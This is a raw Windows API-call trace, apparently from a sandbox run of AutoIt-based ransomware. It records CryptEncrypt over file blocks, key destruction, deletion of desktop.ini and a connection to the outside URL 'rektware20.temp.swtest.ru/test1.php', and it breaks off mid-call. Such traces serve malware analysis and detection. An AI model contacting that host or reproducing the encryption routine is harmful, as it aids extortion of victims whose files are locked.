[0065.589] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.592] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.592] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.592] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.592] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.592] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.592] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.592] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.592] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.593] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.593] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.593] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.593] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.593] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.603] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.603] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.604] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.604] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.604] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.604] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.604] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x200) returned 1 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.605] CharLowerBuffW (in: lpsz="byte[513]", cchLength=0x9 | out: lpsz="byte[513]") returned 0x9 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.606] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.612] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621af8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.612] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.612] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x163f828*, pdwDataLen=0x130e618*=0x1f8, dwBufLen=0x200 | out: pbData=0x163f828*, pdwDataLen=0x130e618*=0x200) returned 1 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.613] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.613] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.613] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.613] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.613] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.613] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.613] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.614] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.614] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.614] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.614] WriteFile (in: hFile=0x3bc, lpBuffer=0x17a7210*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17a7210*, lpNumberOfBytesWritten=0x130f01c*=0x200, lpOverlapped=0x0) returned 1 [0065.615] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.615] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.615] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.615] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.616] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.616] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.616] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.616] CryptDestroyKey (hKey=0x164c330) returned 1 [0065.616] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.616] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.616] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.616] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.616] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.616] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.617] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.617] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.617] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.617] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.617] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.617] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.617] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.617] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.618] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.618] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.618] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.618] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.618] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.618] CryptReleaseContext (hProv=0x17a9e78, dwFlags=0x0) returned 1 [0065.618] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.618] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.618] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.618] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.619] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.619] CloseHandle (hObject=0x2ac) returned 1 [0065.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.619] CloseHandle (hObject=0x3bc) returned 1 [0065.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.627] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.627] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", lpFilePart=0x0) returned 0x28 [0065.627] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\desktop.ini")) returned 0x26 [0065.627] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0065.627] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\desktop.ini")) returned 1 [0065.629] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.630] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0065.635] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.635] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.635] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.635] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.635] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.636] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.636] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.636] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c 